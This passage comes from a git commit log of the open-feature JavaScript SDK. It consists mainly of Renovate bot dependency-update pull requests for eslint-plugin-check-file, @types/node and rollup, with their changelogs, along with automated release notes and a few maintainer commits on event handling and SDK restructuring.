♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xNDQuMiIsInVwZGF0ZWRJblZlciI6IjM2LjguMTEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-21 14:29:34 -04:00
renovate[bot] 50a5ebb128
chore(deps): update dependency eslint-plugin-check-file to v2 (#368)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[eslint-plugin-check-file](https://togithub.com/DukeLuo/eslint-plugin-check-file)
| [`^1.2.1` ->
`^2.0.0`](https://renovatebot.com/diffs/npm/eslint-plugin-check-file/1.3.0/2.5.0)
|
[![age](https://developer.mend.io/api/mc/badges/age/npm/eslint-plugin-check-file/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/eslint-plugin-check-file/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/eslint-plugin-check-file/1.3.0/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/eslint-plugin-check-file/1.3.0/2.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>DukeLuo/eslint-plugin-check-file
(eslint-plugin-check-file)</summary>

###
[`v2.5.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#250---2023-07-05)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.4.0...v2.5.0)

##### Added

- the rule `folder-naming-convention` can be used with a new built-in
naming convention `NEXT_JS_APP_ROUTER_CASE`

###
[`v2.4.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#240---2023-06-12)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.3.0...v2.4.0)

##### Fixed

- the rule `folder-naming-convention` can work well with `*` in the glob

##### Added

-   the rule `no-index` can ignore middle extensions

##### Changed

-   improve documentation

###
[`v2.3.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#230---2023-05-13)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.2.0...v2.3.0)

##### Fixed

- the rule `folder-naming-convention` can use a pattern with multiple
matchers to select target folders

##### Added

- the rule `filename-blocklist` should report an error when blocklist
pattern object isn't an object type
- the rule `filename-naming-convention` should report an error when
naming pattern object isn't an object type
- the rule `folder-match-with-fex` should report an error when naming
pattern object isn't an object type
- the rule `folder-naming-convention` should report an error when naming
pattern object isn't an object type

##### Changed

-   unify the style of error messages for the existing rules
-   upgrade dependencies to the latest version

###
[`v2.2.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#220---2023-04-01)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.1.0...v2.2.0)

##### Added

-   the rule `filename-naming-convention` can use prefined match syntax

###
[`v2.1.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#210---2023-03-25)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v2.0.0...v2.1.0)

##### Fixed

- the rule `filename-blacklist` can specify the target file by its file
path

##### Deprecated

- the rule `filename-blacklist` can specify the target file by its
filename

###
[`v2.0.0`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#200---2023-03-05)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v1.3.1...v2.0.0)

##### Changed

-   the rule `filename-blacklist` renamed to `filename-blocklist`
- the rule `filename-naming-convention` show filename without path in
error message

##### Removed

- the rule `filename-naming-convention` can specify the target file by
its extension

###
[`v1.3.1`](https://togithub.com/DukeLuo/eslint-plugin-check-file/blob/HEAD/CHANGELOG.md#131---2023-01-15)

[Compare
Source](https://togithub.com/DukeLuo/eslint-plugin-check-file/compare/v1.3.0...v1.3.1)

##### Fixed

-   fix builtin `CAMEL_CASE` glob expression

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNC4xNTQuNyIsInVwZGF0ZWRJblZlciI6IjM2LjguMTEiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-21 14:29:13 -04:00
Michael Beemer 92e3a724bf
feat: typesafe event emitter (#490)
Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2023-07-21 14:21:48 -04:00
renovate[bot] 5725194393
chore(deps): update dependency @types/node to v18.16.19 (#458)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
|
[@types/node](https://togithub.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node)
([source](https://togithub.com/DefinitelyTyped/DefinitelyTyped)) |
[`18.11.10` ->
`18.16.19`](https://renovatebot.com/diffs/npm/@types%2fnode/18.11.10/18.16.19)
|
[![age](https://badges.renovateapi.com/packages/npm/@types%2fnode/18.16.19/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/@types%2fnode/18.16.19/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/@types%2fnode/18.16.19/compatibility-slim/18.11.10)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/@types%2fnode/18.16.19/confidence-slim/18.11.10)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMTUuMiIsInVwZGF0ZWRJblZlciI6IjM1LjE0NC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-10 11:11:49 -04:00
github-actions[bot] d10e972550
chore(main): release js-sdk 1.3.3 (#484)
🤖 I have created a release *beep* *boop*
---


##
[1.3.3](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.3.2...js-sdk-v1.3.3)
(2023-07-05)


### Bug Fixes

* events on anon provider/client
([#480](https://github.com/open-feature/js-sdk/issues/480))
([c44b18e](c44b18eb9e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-05 14:28:50 -04:00
github-actions[bot] 83f161579c
chore(main): release web-sdk 0.3.7-experimental (#483)
🤖 I have created a release *beep* *boop*
---


##
[0.3.7-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.6-experimental...web-sdk-v0.3.7-experimental)
(2023-07-05)


### Bug Fixes

* events on anon provider/client
([#480](https://github.com/open-feature/js-sdk/issues/480))
([c44b18e](c44b18eb9e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-05 14:25:24 -04:00
github-actions[bot] fa32eed4c4
chore(main): release shared 0.0.7 (#482)
🤖 I have created a release *beep* *boop*
---


##
[0.0.7](https://github.com/open-feature/js-sdk/compare/shared-v0.0.6...shared-v0.0.7)
(2023-07-05)


### Bug Fixes

* events on anon provider/client
([#480](https://github.com/open-feature/js-sdk/issues/480))
([c44b18e](c44b18eb9e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-05 14:23:11 -04:00
Todd Baert c44b18eb9e
fix: events on anon provider/client (#480)
* fix an issue where events would fail to run on the default provider
anonymous client if the provider was changed

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-05 14:20:25 -04:00
Lukas Reining e15bf8c8e8
chore: Refactor SDK structure (#473)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
Splits up the types file and restructures the SDK by functionalities.
Feeling quite good with the structure now.
The PR became quite huge, but I could even move one or two more things
(for the client) to the shared implementation.
@toddbaert @beeme1mr Please give feedback if you think the structure is
completely off or something seems odd to you🙂

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #437

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-05 13:22:24 -04:00
renovate[bot] 4f86c0193b
chore(deps): update dependency rollup to v3.26.0 (#478)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [rollup](https://rollupjs.org/)
([source](https://togithub.com/rollup/rollup)) | [`3.18.0` ->
`3.26.0`](https://renovatebot.com/diffs/npm/rollup/3.18.0/3.26.0) |
[![age](https://badges.renovateapi.com/packages/npm/rollup/3.26.0/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/rollup/3.26.0/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/rollup/3.26.0/compatibility-slim/3.18.0)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/rollup/3.26.0/confidence-slim/3.18.0)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>rollup/rollup (rollup)</summary>

###
[`v3.26.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3260)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.25.3...v3.26.0)

*2023-06-30*

##### Features

- Add `--filterLogs` CLI flag and `ROLLUP_FILTER_LOGS` environment
variable for log filtering
([#&#8203;5035](https://togithub.com/rollup/rollup/issues/5035))

##### Pull Requests

- [#&#8203;5035](https://togithub.com/rollup/rollup/pull/5035): Add
ability to filter logs via CLI option or environment variable
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;5049](https://togithub.com/rollup/rollup/pull/5049):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.25.3`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3253)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.25.2...v3.25.3)

*2023-06-26*

##### Bug Fixes

- Fix error when inlining dynamic imports that contain unused reexported
variables
([#&#8203;5047](https://togithub.com/rollup/rollup/issues/5047))

##### Pull Requests

- [#&#8203;5047](https://togithub.com/rollup/rollup/pull/5047): Do not
add tree-shaken variables to namespaces when inlining dynamic imports
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.25.2`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3252)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.25.1...v3.25.2)

*2023-06-24*

##### Bug Fixes

- Handle plugin errors where `code` is not a string
([#&#8203;5042](https://togithub.com/rollup/rollup/issues/5042))
- Use current transformed source when generating code frames with
positions in transform hooks
([#&#8203;5045](https://togithub.com/rollup/rollup/issues/5045))

##### Pull Requests

- [#&#8203;5038](https://togithub.com/rollup/rollup/pull/5038):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5040](https://togithub.com/rollup/rollup/pull/5040): Fix typo
in index.md ([@&#8203;vHeemstra](https://togithub.com/vHeemstra))
- [#&#8203;5042](https://togithub.com/rollup/rollup/pull/5042): fix: a
plugin error can contains numeric code
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5045](https://togithub.com/rollup/rollup/pull/5045): Fix
`this.error` with `pos` in `transform` hook
([@&#8203;sapphi-red](https://togithub.com/sapphi-red))
- [#&#8203;5046](https://togithub.com/rollup/rollup/pull/5046):
chore(deps): update dependency locate-character to v3
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.25.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3251)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.25.0...v3.25.1)

*2023-06-12*

##### Bug Fixes

- Respect `__NO_SIDE_EFFECTS__` for async functions
([#&#8203;5031](https://togithub.com/rollup/rollup/issues/5031))

##### Pull Requests

- [#&#8203;5031](https://togithub.com/rollup/rollup/pull/5031): fix:
`__NO_SIDE_EFFECTS__` annotation for async function
([@&#8203;antfu](https://togithub.com/antfu))

###
[`v3.25.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3250)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.24.1...v3.25.0)

*2023-06-11*

##### Features

- Add `this.info` and `this.debug` plugin context logging functions
([#&#8203;5026](https://togithub.com/rollup/rollup/issues/5026))
- Add `onLog` option to read, map and filter logs
([#&#8203;5026](https://togithub.com/rollup/rollup/issues/5026))
- Add `logLevel` option to fully suppress logs by level
([#&#8203;5026](https://togithub.com/rollup/rollup/issues/5026))
- Support function logs in `this.warn`, `this.info` and `this.debug` to
avoid heavy computations based on log level
([#&#8203;5026](https://togithub.com/rollup/rollup/issues/5026))
- Add `onLog` plugin hook to read, filter and map logs from plugins
([#&#8203;5026](https://togithub.com/rollup/rollup/issues/5026))

##### Pull Requests

- [#&#8203;5026](https://togithub.com/rollup/rollup/pull/5026): Add
Logging API ([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.24.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3241)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.24.0...v3.24.1)

*2023-06-10*

##### Bug Fixes

- Fix an issue where bundles with `@rollup/plugin-commonjs` were missing
internal dependencies when code-splitting
([#&#8203;5029](https://togithub.com/rollup/rollup/issues/5029))
- Do not use `process.exit(0)` in watch mode to avoid issues in embedded
scenarios
([#&#8203;5027](https://togithub.com/rollup/rollup/issues/5027))

##### Pull Requests

- [#&#8203;5027](https://togithub.com/rollup/rollup/pull/5027): fix
turborepo with rollup --watch
([@&#8203;plumber-dhaval](https://togithub.com/plumber-dhaval))
- [#&#8203;5028](https://togithub.com/rollup/rollup/pull/5028):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5029](https://togithub.com/rollup/rollup/pull/5029): fix: get
right sideEffectModules
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.24.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3240)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.23.1...v3.24.0)

*2023-06-07*

##### Features

- Add new annotation `/* #__NO_SIDE_EFFECTS__ */` to mark function
declarations as side effect free
([#&#8203;5024](https://togithub.com/rollup/rollup/issues/5024))

##### Pull Requests

- [#&#8203;5024](https://togithub.com/rollup/rollup/pull/5024): feat:
support `#__NO_SIDE_EFFECTS__` annotation for function declaration
([@&#8203;antfu](https://togithub.com/antfu))

###
[`v3.23.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3231)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.23.0...v3.23.1)

*2023-06-04*

##### Bug Fixes

- Ensure the last segment of sourcemapBaseUrl is never omitted
([#&#8203;5022](https://togithub.com/rollup/rollup/issues/5022))

##### Pull Requests

- [#&#8203;5006](https://togithub.com/rollup/rollup/pull/5006): Better
workflow caching
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;5012](https://togithub.com/rollup/rollup/pull/5012):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5022](https://togithub.com/rollup/rollup/pull/5022): fix: add
a trailing slash automatically for sourcemapBaseUrl
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5023](https://togithub.com/rollup/rollup/pull/5023):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.23.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3230)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.22.1...v3.23.0)

*2023-05-22*

##### Features

- Support emitting "prebuilt chunks" from plugins
([#&#8203;4990](https://togithub.com/rollup/rollup/issues/4990))

##### Bug Fixes

- Mark Sets and Maps as pure when they receive an array literal as
argument
([#&#8203;5005](https://togithub.com/rollup/rollup/issues/5005))

##### Pull Requests

- [#&#8203;4990](https://togithub.com/rollup/rollup/pull/4990): feat:
this.emitFile support prebuilt-chunk type
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;5005](https://togithub.com/rollup/rollup/pull/5005): feat:
mark Set, Map, WeakSet and WeakMap with array arguments as pure
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.22.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3221)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.22.0...v3.22.1)

*2023-05-21*

##### Bug Fixes

- Remove force quit again as it caused some issues
([#&#8203;5004](https://togithub.com/rollup/rollup/issues/5004))

##### Pull Requests

- [#&#8203;5001](https://togithub.com/rollup/rollup/pull/5001):
chore(deps): update dependency
[@&#8203;rollup/plugin-commonjs](https://togithub.com/rollup/plugin-commonjs)
to v25 ([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5002](https://togithub.com/rollup/rollup/pull/5002):
chore(deps): update dependency eslint-plugin-unicorn to v47
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5003](https://togithub.com/rollup/rollup/pull/5003):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;5004](https://togithub.com/rollup/rollup/pull/5004): Do not
force quit Rollup or close stdout
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.22.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3220)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.8...v3.22.0)

*2023-05-17*

##### Features

- Prevent empty non-facade chunks by merging them into other suitable
chunks ([#&#8203;4989](https://togithub.com/rollup/rollup/issues/4989))
- Avoid facade chunks in some situations involving reexports
([#&#8203;4989](https://togithub.com/rollup/rollup/issues/4989))
- Improve algorithm for best merge target when using
`experimentalMinChunkSize` to take tree-shaking into account
([#&#8203;4989](https://togithub.com/rollup/rollup/issues/4989))

##### Bug Fixes

- Take side effects of external dependencies into account when merging
chunks for `experimentalMinChunkSize`
([#&#8203;4989](https://togithub.com/rollup/rollup/issues/4989))

##### Pull Requests

- [#&#8203;4989](https://togithub.com/rollup/rollup/pull/4989): Prevent
empty chunks and thoroughly improve experimentalMinChunkSize
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.21.8`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3218)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.7...v3.21.8)

*2023-05-16*

##### Bug Fixes

- Allow a namespace to properly contain itself as a named export
([#&#8203;4991](https://togithub.com/rollup/rollup/issues/4991))

##### Pull Requests

- [#&#8203;4991](https://togithub.com/rollup/rollup/pull/4991): Handle
self-referencing namespaces
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.21.7`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3217)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.6...v3.21.7)

*2023-05-13*

##### Bug Fixes

- Show correct error on uncaught exceptions in watch mode
([#&#8203;4987](https://togithub.com/rollup/rollup/issues/4987))

##### Pull Requests

- [#&#8203;4987](https://togithub.com/rollup/rollup/pull/4987): Properly
quit on uncaught exceptions
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4988](https://togithub.com/rollup/rollup/pull/4988): test:
add options type for function tests
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.21.6`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3216)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.5...v3.21.6)

*2023-05-09*

##### Bug Fixes

- Ensure Rollup CLI prints everything to stdout before exiting
([#&#8203;4980](https://togithub.com/rollup/rollup/issues/4980))

##### Pull Requests

- [#&#8203;4980](https://togithub.com/rollup/rollup/pull/4980):
chore(deps): lock file maintenance minor/patch updates
([@&#8203;renovate](https://togithub.com/renovate)\[bot])
- [#&#8203;4983](https://togithub.com/rollup/rollup/pull/4983): Prevent
exit before stdout is drained
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.21.5`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3215)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.4...v3.21.5)

*2023-05-05*

##### Bug Fixes

- Keep all consecutive lines at the top of each module that start with a
comment ([#&#8203;4975](https://togithub.com/rollup/rollup/issues/4975))
- Ensure that declarations inside switch cases do not use the same scope
as the discriminator
([#&#8203;4979](https://togithub.com/rollup/rollup/issues/4979))

##### Pull Requests

- [#&#8203;4975](https://togithub.com/rollup/rollup/pull/4975): Keep
leading comments on consecutive lines
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4979](https://togithub.com/rollup/rollup/pull/4979): Use
correct scope in switch statements
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.21.4`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3214)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.3...v3.21.4)

*2023-05-03*

##### Bug Fixes

- Resolve crash when shimming a missing export in an otherwise
non-included module when preserving modules
([#&#8203;4971](https://togithub.com/rollup/rollup/issues/4971))

##### Pull Requests

- [#&#8203;4971](https://togithub.com/rollup/rollup/pull/4971): Handle
shimming missing exports when preserving modules
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4972](https://togithub.com/rollup/rollup/pull/4972):
Configure Renovate
([@&#8203;renovate](https://togithub.com/renovate)\[bot])

###
[`v3.21.3`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3213)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.2...v3.21.3)

*2023-05-02*

##### Bug Fixes

- Run `process.exit()` when Rollup CLI finishes successfully to solve
issues on some systems
([#&#8203;4969](https://togithub.com/rollup/rollup/issues/4969))

##### Pull Requests

- [#&#8203;4954](https://togithub.com/rollup/rollup/pull/4954): test:
enable typecheck for \_config files
([@&#8203;antfu](https://togithub.com/antfu))
- [#&#8203;4969](https://togithub.com/rollup/rollup/pull/4969):
Automatically force close Rollup when done
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.21.2`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3212)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.1...v3.21.2)

*2023-04-30*

##### Bug Fixes

- Mark global functions that trigger iterators as impure for now
([#&#8203;4955](https://togithub.com/rollup/rollup/issues/4955))

##### Pull Requests

- [#&#8203;4955](https://togithub.com/rollup/rollup/pull/4955): fix:
mark some known globals or their functions as impure
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))

###
[`v3.21.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3211)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.21.0...v3.21.1)

*2023-04-29*

##### Bug Fixes

- Make sure call arguments are properly deoptimized when a function uses
the `arguments` variable
([#&#8203;4965](https://togithub.com/rollup/rollup/issues/4965))

##### Pull Requests

- [#&#8203;4957](https://togithub.com/rollup/rollup/pull/4957): Update
dependencies ([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4964](https://togithub.com/rollup/rollup/pull/4964): Fix REPL
in dev ([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4965](https://togithub.com/rollup/rollup/pull/4965): Ensure
arguments are deoptimized when arguments variable is used
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4967](https://togithub.com/rollup/rollup/pull/4967): Log REPL
output to console
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.21.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3210)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.7...v3.21.0)

*2023-04-23*

##### Features

- Support tree-shaking of named exports in dynamic imports when using
destructuring and similar patterns
([#&#8203;4952](https://togithub.com/rollup/rollup/issues/4952))

##### Pull Requests

- [#&#8203;4952](https://togithub.com/rollup/rollup/pull/4952): feat:
tree-shake deterministic dynamic imports
([@&#8203;antfu](https://togithub.com/antfu))

###
[`v3.20.7`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3207)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.6...v3.20.7)

*2023-04-21*

##### Bug Fixes

- Properly track array element mutations when iterating with a for-of
loop ([#&#8203;4949](https://togithub.com/rollup/rollup/issues/4949))
- Handle default exporting an anonymous class that extends another class
([#&#8203;4950](https://togithub.com/rollup/rollup/issues/4950))

##### Pull Requests

- [#&#8203;4943](https://togithub.com/rollup/rollup/pull/4943): Add a
test for reserved keywords used as import/export specifiers
([@&#8203;Andarist](https://togithub.com/Andarist))
- [#&#8203;4949](https://togithub.com/rollup/rollup/pull/4949):
Deoptimize right side in for-of loops
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4950](https://togithub.com/rollup/rollup/pull/4950): Support
default exported classes that extend other classes
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.6`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3206)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.5...v3.20.6)

*2023-04-18*

##### Bug Fixes

- Revert handling of non-JS import and export names due to regressions
([#&#8203;4914](https://togithub.com/rollup/rollup/issues/4914))

##### Pull Requests

- [#&#8203;4914](https://togithub.com/rollup/rollup/pull/4914): feat:
add locales in vitepress config
([@&#8203;iDestin](https://togithub.com/iDestin))
- [#&#8203;4946](https://togithub.com/rollup/rollup/pull/4946): Revert
[#&#8203;4939](https://togithub.com/rollup/rollup/issues/4939) for now
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.5`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3205)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.4...v3.20.5)

*2023-04-18*

##### Bug Fixes

- Handle import and export names that are not valid JavaScript
identifiers
([#&#8203;4939](https://togithub.com/rollup/rollup/issues/4939))

##### Pull Requests

- [#&#8203;4939](https://togithub.com/rollup/rollup/pull/4939): Fixed
imports/exports that are illegal identifiers in the es output
([@&#8203;Andarist](https://togithub.com/Andarist))
- [#&#8203;4941](https://togithub.com/rollup/rollup/pull/4941):
Reinstate global styles
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.4`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3204)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.3...v3.20.4)

*2023-04-17*

##### Bug Fixes

- Do not remove breaks statements after switch statements with
conditional breaks
([#&#8203;4937](https://togithub.com/rollup/rollup/issues/4937))

